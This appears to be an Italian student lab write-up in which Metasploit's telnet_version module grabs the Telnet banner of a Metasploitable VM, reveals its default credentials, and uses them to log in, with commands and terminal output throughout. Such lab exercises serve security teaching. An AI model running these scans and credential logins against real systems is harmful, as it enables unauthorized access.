

Traccia:

Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Requisito: Seguire gli step visti in lezione teorica. Prima, configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40

Iniziamo col modificare l'ip delle nostre macchine virtuali.

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.25 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::a00:27ff:fea9:39c2 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:a9:39:c2 txqueuelen 1000 (Ethernet)
    RX packets 82 bytes 6750 (6.5 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 35 bytes 3912 (3.8 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 4 bytes 240 (240.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4 bytes 240 (240.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:74:94:13
          inet addr:192.168.1.40 Bcast:192.168.1.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe74:9413/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500 Metric:1
          RX packets:8 errors:0 dropped:0 overruns:0 frame:0
          TX packets:88 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:664 (664.0 B) TX bytes:6228 (6.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436 Metric:1
          RX packets:142 errors:0 dropped:0 overruns:0 frame:0
          TX packets:142 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:34325 (33.5 KB) TX bytes:34325 (33.5 KB)
```

Per sfruttare questa vulnerabilità del servizio Telnet, utilizziamo un modulo ausiliario: **auxiliary/scanner/telnet/telnet_version**.

```
msf6 > search scanner/telnet

Matching Modules

#  Name                                     Disclosure Date  Ra
nk Check Description
--  --
0  auxiliary/scanner/telnet/brocade_enable_login  no
rmal No Brocade Enable Login Check Scanner
1  auxiliary/scanner/telnet/lantronix_telnet_password  no
rmal No Lantronix Telnet Password Recovery
2  auxiliary/scanner/telnet/lantronix_telnet_version  no
rmal No Lantronix Telnet Service Banner Detection
3  auxiliary/admin/http/netgear_pnp_getsharefolderlist_auth_bypass  2021-09-06  no
rmal Yes Netgear PNPX_GetShareFolderList Authentication Bypass
4  auxiliary/scanner/telnet/telnet_ruggedcom  no
rmal No RuggedCom Telnet Password Generator
5  auxiliary/scanner/telnet/satel_cmd_exec  2017-04-07  no
rmal No Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
6  auxiliary/scanner/telnet/telnet_login  no
rmal No Telnet Login Check Scanner
7  auxiliary/scanner/telnet/telnet_version  no
rmal No Telnet Service Banner Detection
8  auxiliary/scanner/telnet/telnet_encrypt_overflow  no
rmal No Telnet Service Encryption Key ID Overflow Detection

Interact with a module by name or index. For example info 8, use 8 or use auxiliary/scanner/telnet/telnet_encrypt_overflow

msf6 > use 7
msf6 auxiliary(scanner/telnet/telnet_version) > 
```

Controlliamo le opzioni necessarie per lanciare l'attacco, eseguendo il comando «**show options**». Tra i parametri da inserire abbiamo **RHOSTS**, cioè l'indirizzo target dove è in esecuzione il servizio telnet. Tutti gli altri parametri necessari sono già configurati di default.

```
msf6 > use 7
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
--      -
PASSWORD  no              no       The password for the specified username
RHOSTS    yes             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     23              yes       The target port (TCP)
THREADS   1               yes       The number of concurrent threads (max one per host)
TIMEOUT   30              yes       Timeout for the Telnet probe
USERNAME  no              no       The username to authenticate as

View the full module info with the info, or info -d command.
```

Configuriamo il parametro **RHOSTS** utilizzando il comando «**set RHOSTS 192.168.1.40**».

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > █
```

Per il modulo scelto non c'è bisogno di specificare un payload; quindi eseguiamo l'attacco con il comando «**exploit**».

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.1.40:23 - 192.168.1.40:23 TELNET _
  \x0a| ' _ _ \x0a _ _ / _ _ | | _ _ | | _ _ ( _ ) | _ _ | | _ _ | | _ _
  | | _ _ / | | ( _ ) \x0a | | ( _ ) | | _ _ | | _ _ | | _ _ | | _ _ | | _ _
  _ _ / _ _ / | | \x0a _ _ / _ _ | | _ _ | | _ _ | | _ _ | | _ _ | | _ _
  \x0a\x0a\x0aWarning: Never expose this VM to an untru
sted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin
to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > █
```

Metasploit ci dà le credenziali da utilizzare, username: «msfadmin», password «msfadmin».

Ora facciamo un test: eseguiamo da Metasploit il comando «**telnet 192.168.1.40**», per verificare la correttezza delle informazioni.

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.

```

```
Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: █
```

```
metasploitable

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Mar  5 03:24:06 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

Il servizio ci richiede una login. Inseriamo le informazioni ricevute da Metasploit.
Possiamo confermare che l'attacco ha avuto successo e la vulnerabilità del servizio Telnet è stata sfruttata correttamente, in quanto abbiamo ottenuto accesso non autorizzato alla macchina.